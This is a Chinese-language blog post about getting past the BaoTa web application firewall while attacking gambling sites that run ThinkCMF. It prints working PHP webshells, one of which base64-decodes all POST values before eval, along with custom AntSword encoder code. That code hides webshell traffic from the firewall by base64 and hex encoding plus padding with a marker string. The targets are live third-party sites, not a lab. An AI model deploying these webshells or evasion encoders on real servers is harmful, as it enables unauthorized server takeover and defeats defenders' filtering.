過WAF的小思路

AndyNoel發表於2021-09-03

過WAF的小思路

前言

最近在學習了一波CMS漏洞,嘗試看了幾個菠菜站,有寶塔WAF。。。向WHOAMI大佬取經回來後,繞過了一個WAF。覺得是時候要認真總結一下了:)

前期的過程

菠菜採用的是ThinkCMF這款CMS,ThinkCMF某些版本是存在快取Getshell這樣的一個漏洞,payload我就不放了,大家要遵守相應的法律法規哦! :)

按照payload,直接打的話,訪問白屏還興奮了一下,結果一執行shell就觸發寶塔WAF。。。更別說蟻劍連線了。。。

WAF會對部分函式進行了過濾,所以直接打payload肯定是不行的,因此我們需要對蟻劍的流量特徵進行混淆加密

一個正常的shell如下:
<?php @eval($_POST['hack']);?>但是這樣的shell特徵太明顯了,肯定會被攔截的,所以我們要學會騷一點
比如說<?php @eval(base_decode($_POST['test']));?>
讓我們將phpinfo();base64加密後POST傳參,就可以正常執行phpinfo了
image

但是。。。

cmd命令執行

但是蟻劍連線shell爆紅了。。。

明明寫進去了,也能phpinfo,但是蟻劍連線錯誤,為什麼呢???
其實,我們可以先學一下蟻劍流量的相關知識
首先看看蟻劍的base64編碼器結構:

'use strict';


/*

 @param  {String} pwd   連線密碼
 @param  {Array}  data  編碼器處理前的 payload 陣列
@return {Array}  data  編碼器處理後的 payload 陣列
*/
module.exports = (pwd, data, ext={}) => {
// ##########    請在下方編寫你自己的程式碼   ###################
// 以下程式碼為 PHP Base64 樣例
// 生成一個隨機變數名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出來之後,轉為 base64 編碼並放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');


// shell 在接收到 payload 後,先處理 pwd 引數下的內容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ##########    請在上方編寫你自己的程式碼   ###################
// 刪除 _ 原有的payload
delete data['_'];
// 返回編碼器處理後的 payload 陣列
return data;
}

解釋一下:

pwd:  型別是String, 這個是 shell 的連線密碼
data: 型別是 Array, 這個是要傳送的 HTTP POST 資料包
Buffer.from(data['_']).toString('base64') 將data['_']中的程式碼讀取並進行base64編碼,然後下面的 data[pwd] 以引數的形式傳遞到伺服器,解碼後shell程式碼便會執行。雖然data['_']中的程式碼進行過base64編碼,但是data[pwd] 是作為引數傳遞的,所以在流量中的 data[pwd] 仍是明文傳輸。
而且,蟻劍在對data進行編碼時會增加一定長度的隨機字元,但是cmd命令無論增加多長的字元Y21K這個特徵字元也始終會被識別到

那該怎麼辦呢???
WAF攔了蟻劍傳送的其它引數時怎麼操作 (qq.com)

從這篇大佬的文章好好學習了一下,其中一種方法大佬是通過遍歷data的其他引數,並Hex編碼了data的值。

解碼器內容:

*/
'use strict';

module.exports = (pwd, data) => {
  let ret = {};
  for (let _ in data) {
    if (_ === '_') { continue };
    ret[_] = Buffer.from(data[_]).toString('hex');
  }
  ret[pwd] = Buffer.from(data['_']).toString('hex');
  return ret;
}

因為蟻劍是預設會對data的值進行一次base64加密,所以我們可以再base64加密一次並增添點data的值:)

比如像這樣:

let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}

同時,我們所寫的shell也不能那麼簡單的啦,所以也得相應地稍微修改一下:

<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>

在第一次POST時進行抓包,去掉我們另外加入的data值,比如說上面的andynoel1234
然後對剩下的內容執行兩次base64解碼,再試一下蟻劍成功連線,就可以執行cmd命令了。
image

相關文章